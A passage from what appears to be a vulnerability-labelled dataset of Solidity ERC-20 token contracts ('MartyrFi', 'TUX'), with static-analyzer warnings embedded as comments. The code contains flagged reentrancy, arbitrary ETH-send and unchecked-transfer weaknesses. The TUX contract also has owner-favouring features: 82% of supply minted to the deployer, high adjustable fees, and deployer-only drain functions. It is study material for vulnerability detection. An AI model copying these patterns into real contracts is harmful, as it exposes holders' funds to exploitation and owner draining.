uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: d1929f0\n\t\t// reentrancy-benign | ID: 89c0aab\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: d1929f0\n\t\t// reentrancy-benign | ID: 89c0aab\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 752c27e): MartyrFi._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 752c27e: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 89c0aab\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: d1929f0\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 28bc478): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 28bc478: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1a64feb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1a64feb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n uint256 taxAmount = 0;\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n require(sellCount < 3, \"Only 3 sells per block!\");\n\t\t\t\t// reentrancy-events | ID: 28bc478\n\t\t\t\t// reentrancy-eth | ID: 1a64feb\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 28bc478\n\t\t\t\t\t// reentrancy-eth | ID: 1a64feb\n sendETHToFee(address(this).balance);\n }\n\t\t\t\t// reentrancy-eth | ID: 1a64feb\n sellCount++;\n\t\t\t\t// reentrancy-eth | ID: 1a64feb\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 1a64feb\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\t\t\t// reentrancy-events | ID: 28bc478\n emit Transfer(from, address(this), taxAmount);\n }\n\t\t// reentrancy-eth | ID: 1a64feb\n _balances[from] = _balances[from].sub(amount);\n\t\t// reentrancy-eth | ID: 1a64feb\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\t\t// reentrancy-events | ID: 28bc478\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 28bc478\n\t\t// reentrancy-events | ID: d1929f0\n\t\t// reentrancy-benign | ID: 89c0aab\n\t\t// reentrancy-eth | ID: 1a64feb\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n _maxWalletSize = _tTotal;\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeStuckETH() external onlyOwner {\n _taxWallet.transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 88dcbc0): MartyrFi.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 88dcbc0: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 28bc478\n\t\t// reentrancy-events | ID: d1929f0\n\t\t// reentrancy-eth | ID: 1a64feb\n\t\t// arbitrary-send-eth | ID: 88dcbc0\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6241250): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6241250: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7a3c5f0): MartyrFi.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 7a3c5f0: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: cf2ef9e): MartyrFi.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for cf2ef9e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 31da3e5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 31da3e5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: 6241250\n\t\t// reentrancy-eth | ID: 31da3e5\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\t\t// reentrancy-benign | ID: 6241250\n\t\t// unused-return | ID: 7a3c5f0\n\t\t// reentrancy-eth | ID: 31da3e5\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: 6241250\n\t\t// unused-return | ID: cf2ef9e\n\t\t// reentrancy-eth | ID: 31da3e5\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\t\t// reentrancy-benign | ID: 6241250\n swapEnabled = true;\n\t\t// reentrancy-eth | ID: 31da3e5\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n _finalBuyTax = _newFee;\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n uint256 tokenBalance = balanceOf(address(this));\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n uint256 ethBalance = address(this).balance;\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10890.sol",
"size_bytes": 19552,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\ninterface IUniswapV2Pair {\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function name() external pure returns (string memory);\n\n function symbol() external pure returns (string memory);\n\n function decimals() external pure returns (uint8);\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address owner) external view returns (uint256);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n\n function PERMIT_TYPEHASH() external pure returns (bytes32);\n\n function nonces(address owner) external view returns (uint256);\n\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n event Mint(address indexed sender, uint256 amount0, uint256 amount1);\n\n event Swap(\n address indexed sender,\n uint256 amount0In,\n uint256 amount1In,\n uint256 amount0Out,\n uint256 amount1Out,\n address indexed to\n );\n\n event Sync(uint112 reserve0, uint112 reserve1);\n\n function MINIMUM_LIQUIDITY() external pure returns (uint256);\n\n function factory() external view returns (address);\n\n function token0() external view returns (address);\n\n function token1() external view returns (address);\n\n function getReserves()\n external\n view\n returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\n\n function price0CumulativeLast() external view returns (uint256);\n\n function price1CumulativeLast() external view returns (uint256);\n\n function kLast() external view returns (uint256);\n\n function mint(address to) external returns (uint256 liquidity);\n\n function swap(\n uint256 amount0Out,\n uint256 amount1Out,\n address to,\n bytes calldata data\n ) external;\n\n function skim(address to) external;\n\n function sync() external;\n\n function initialize(address, address) external;\n}\n\ninterface IUniswapV2Factory {\n event PairCreated(\n address indexed token0,\n address indexed token1,\n address pair,\n uint256\n );\n\n function feeTo() external view returns (address);\n\n function feeToSetter() external view returns (address);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function allPairs(uint256) external view returns (address pair);\n\n function allPairsLength() external view returns (uint256);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function setFeeTo(address) external;\n\n function setFeeToSetter(address) external;\n}\n\nlibrary SafeMath {\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n return a + b;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n return a * b;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return a % b;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b <= a, errorMessage);\n\n return a - b;\n }\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a / b;\n }\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a % b;\n }\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n uint256 currentAllowance = allowance(owner, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n\t\t\t// reentrancy-no-eth | ID: 56ad9ec\n _balances[from] = fromBalance - amount;\n\n\t\t\t// reentrancy-no-eth | ID: 56ad9ec\n _balances[to] += amount;\n }\n\n\t\t// reentrancy-events | ID: 63711a6\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\ncontract TUX is ERC20, Ownable {\n using SafeMath for uint256;\n\n IUniswapV2Router02 public immutable _uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b57dc85): TUX.uniswapV2Pair should be immutable \n\t// Recommendation for b57dc85: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0351e7a): TUX.deployerWallet should be immutable \n\t// Recommendation for 0351e7a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private deployerWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5db9213): TUX.marketingWallet should be immutable \n\t// Recommendation for 5db9213: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private marketingWallet;\n\n address private constant deadAddress = address(0xdead);\n\n bool private swapping;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 481beb0): TUX._name shadows ERC20._name\n\t// Recommendation for 481beb0: Remove the state variable shadowing.\n string private constant _name = \"TUX THE Penguin\";\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 7127065): TUX._symbol shadows ERC20._symbol\n\t// Recommendation for 7127065: Remove the state variable shadowing.\n string private constant _symbol = \"TUX\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 362d1b7): TUX.initialTotalSupply should be constant \n\t// Recommendation for 362d1b7: Add the 'constant' attribute to state variables that never change.\n uint256 public initialTotalSupply = 10000000000 * 1e18;\n\n uint256 public maxTransactionAmount = 200000000 * 1e18;\n\n uint256 public maxWallet = 200000000 * 1e18;\n\n uint256 public swapTokensAtAmount = 100000000 * 1e18;\n\n bool public enableTrade = false;\n\n uint256 public BuyFee = 20;\n\n uint256 public SellFee = 25;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n mapping(address => bool) private _isExcludedMaxTransactionAmount;\n\n mapping(address => bool) private automatedMarketMakerPairs;\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: dca0278): TUX.constructor(address).wallet lacks a zerocheck on \t marketingWallet = address(wallet)\n\t// Recommendation for dca0278: Check that the address is not zero.\n constructor(address wallet) ERC20(_name, _symbol) {\n _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);\n\n excludeFromMaxTransaction(address(uniswapV2Pair), true);\n\n excludeFromMaxTransaction(address(_uniswapV2Router), true);\n\n\t\t// missing-zero-check | ID: dca0278\n marketingWallet = payable(wallet);\n\n deployerWallet = payable(_msgSender());\n\n excludeFromFees(owner(), true);\n\n excludeFromFees(address(this), true);\n\n excludeFromFees(address(wallet), true);\n\n excludeFromFees(address(0xdead), true);\n\n excludeFromMaxTransaction(owner(), true);\n\n excludeFromMaxTransaction(address(this), true);\n\n excludeFromMaxTransaction(address(wallet), true);\n\n excludeFromMaxTransaction(address(0xdead), true);\n\n uint devTx = initialTotalSupply.mul(82).div(100);\n\n uint remain = initialTotalSupply.sub(devTx);\n\n _mint(deployerWallet, devTx);\n\n _mint(address(this), remain);\n }\n\n receive() external payable {}\n\n function openTrade() external onlyOwner {\n enableTrade = true;\n }\n\n function excludeFromMaxTransaction(address updAds, bool isEx) private {\n _isExcludedMaxTransactionAmount[updAds] = isEx;\n }\n\n function excludeFromFees(address account, bool excluded) private {\n _isExcludedFromFees[account] = excluded;\n\n emit ExcludeFromFees(account, excluded);\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) public onlyOwner {\n require(\n pair != uniswapV2Pair,\n \"The pair cannot be removed from automatedMarketMakerPairs\"\n );\n\n _setAutomatedMarketMakerPair(pair, value);\n }\n\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n automatedMarketMakerPairs[pair] = value;\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n function isExcludedFromFees(address account) public view returns (bool) {\n return _isExcludedFromFees[account];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 63711a6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 63711a6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 56ad9ec): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 56ad9ec: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n\n return;\n }\n\n bool isTransfer = !automatedMarketMakerPairs[from] &&\n !automatedMarketMakerPairs[to];\n\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n if (!enableTrade) {\n require(\n _isExcludedFromFees[from] || _isExcludedFromFees[to],\n \"Trading is not active.\"\n );\n }\n\n if (\n automatedMarketMakerPairs[from] &&\n !_isExcludedMaxTransactionAmount[to]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Buy transfer amount exceeds the maxTransactionAmount.\"\n );\n\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n } else if (\n automatedMarketMakerPairs[to] &&\n !_isExcludedMaxTransactionAmount[from]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Sell transfer amount exceeds the maxTransactionAmount.\"\n );\n } else if (!_isExcludedMaxTransactionAmount[to]) {\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance > 0 && !isTransfer;\n\n if (\n canSwap &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: 63711a6\n\t\t\t// reentrancy-no-eth | ID: 56ad9ec\n swapBack(amount);\n\n\t\t\t// reentrancy-no-eth | ID: 56ad9ec\n swapping = false;\n }\n\n bool takeFee = !swapping && !isTransfer;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (automatedMarketMakerPairs[to]) {\n fees = amount.mul(SellFee).div(100);\n } else {\n fees = amount.mul(BuyFee).div(100);\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: 63711a6\n\t\t\t\t// reentrancy-no-eth | ID: 56ad9ec\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\n\t\t// reentrancy-events | ID: 63711a6\n\t\t// reentrancy-no-eth | ID: 56ad9ec\n super._transfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _uniswapV2Router.WETH();\n\n _approve(address(this), address(_uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 63711a6\n\t\t// reentrancy-no-eth | ID: 56ad9ec\n _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n marketingWallet,\n block.timestamp\n );\n }\n\n function removeSkullLimits() external onlyOwner {\n uint256 totalSupplyAmount = totalSupply();\n\n maxTransactionAmount = totalSupplyAmount;\n\n maxWallet = totalSupplyAmount;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: c709dbf): TUX.clearStuckEth() sends eth to arbitrary user Dangerous calls address(msg.sender).transfer(address(this).balance)\n\t// Recommendation for c709dbf: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function clearStuckEth() external {\n require(_msgSender() == deployerWallet);\n\n require(address(this).balance > 0, \"Token: no ETH to clear\");\n\n\t\t// arbitrary-send-eth | ID: c709dbf\n payable(msg.sender).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 4145cb0): TUX.clearStuckTokens(address) ignores return value by tokenContract.transfer(deployerWallet,balance)\n\t// Recommendation for 4145cb0: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function clearStuckTokens(address tokenAddress) external {\n require(_msgSender() == deployerWallet);\n\n IERC20 tokenContract = IERC20(tokenAddress);\n\n uint256 balance = tokenContract.balanceOf(address(this));\n\n require(balance > 0, \"No tokens to clear\");\n\n\t\t// unchecked-transfer | ID: 4145cb0\n tokenContract.transfer(deployerWallet, balance);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 9e46989): TUX.setFee(uint256,uint256) should emit an event for BuyFee = _buyFee SellFee = _sellFee \n\t// Recommendation for 9e46989: Emit an event for critical parameter changes.\n function setFee(uint256 _buyFee, uint256 _sellFee) external onlyOwner {\n require(_buyFee <= 40 && _sellFee <= 50, \"Fees cannot exceed 99%\");\n\n\t\t// events-maths | ID: 9e46989\n BuyFee = _buyFee;\n\n\t\t// events-maths | ID: 9e46989\n SellFee = _sellFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 66c87e3): TUX.setSwapTokensAtAmount(uint256) should emit an event for swapTokensAtAmount = _amount * (10 ** 18) \n\t// Recommendation for 66c87e3: Emit an event for critical parameter changes.\n function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {\n\t\t// events-maths | ID: 66c87e3\n swapTokensAtAmount = _amount * (10 ** 18);\n }\n\n function manualSwap(uint256 percent) external {\n require(_msgSender() == deployerWallet);\n\n uint256 totalSupplyAmount = totalSupply();\n\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 